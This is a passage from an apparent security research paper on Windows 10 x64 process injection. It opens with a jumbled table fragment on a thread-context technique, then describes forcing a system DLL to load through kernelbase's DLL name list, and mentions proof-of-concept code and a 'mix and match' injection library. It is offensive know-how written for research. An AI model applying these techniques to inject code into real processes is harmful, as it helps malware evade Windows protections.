r valid
Stack (1) Target None None Cleanup: The OpenThread,
Bombing address must original GetThreadContext,
be RX (at thread stack SetThreadContext,
least); (2) and registers ntdll!NtQueueApcTh
Thread must need to be read
be in alertable restored.
state This is easy
with the 5
alertable
functions.

Auxiliary technique

During our research, we discovered an auxiliary technique that can be helpful for future injection attack
development. This technique loads a system DLL into the target process, without writing its path to the
process.

Sometimes, it may be necessary to forcibly load a system DLL into a process, e.g. when a ROP gadget is
needed from such DLL. Generally, an execution method with target LoadLibraryA can be used to load a
DLL, provided the DLL path is in memory. Interestingly, kernelbase.dll contains a list of 1000+ system
DLLs (as NUL-terminated strings). So arbitrary system DLL loading is possible even without prior write
primitive. This list can be found in kernelbase!g_DllMap+8, which is a pointer to an array of structures,
each structure is 3 QWORDs, the first one points to a string which is a DLL name (ASCII, NUL-
terminated). The strings populate a consecutive area in the .rdata section, wherein each string is 8-byte
aligned.

PoCs and Library

All the above PoCs are available at our GIT repository. Additionally, we provide “full exploitation” PoCs
which demonstrate execution (MessageBox) for all techniques. Finally, we also provide a unique offering
in the form of a “mix and match” C++ class library (code name PINJECTRA), so the library’s user can
construct process injections by combining compatible write primitives with execution methods. This is
the first such offering.

Conclusions
This paper fills a major gap in documentation, analysis, update and comparison of true process injection
techniques for Windows 10 x64. Additionally, this paper presents a novel technique for writing data to
memory, and a related technique for execution, both unaffected by all Windows 10 process protection
methods.

All techniques are offered as a barebone PoCs and as interchangeable classes in a library which allows
“mix and match” style process injection coding.

Acknowledgements
Kudos to the EnSilo research team, to Odzhan, to Adam of Hexacorn and to Csaba Fitzl AKA TheEvilBit
for their research and innovation over the recent years.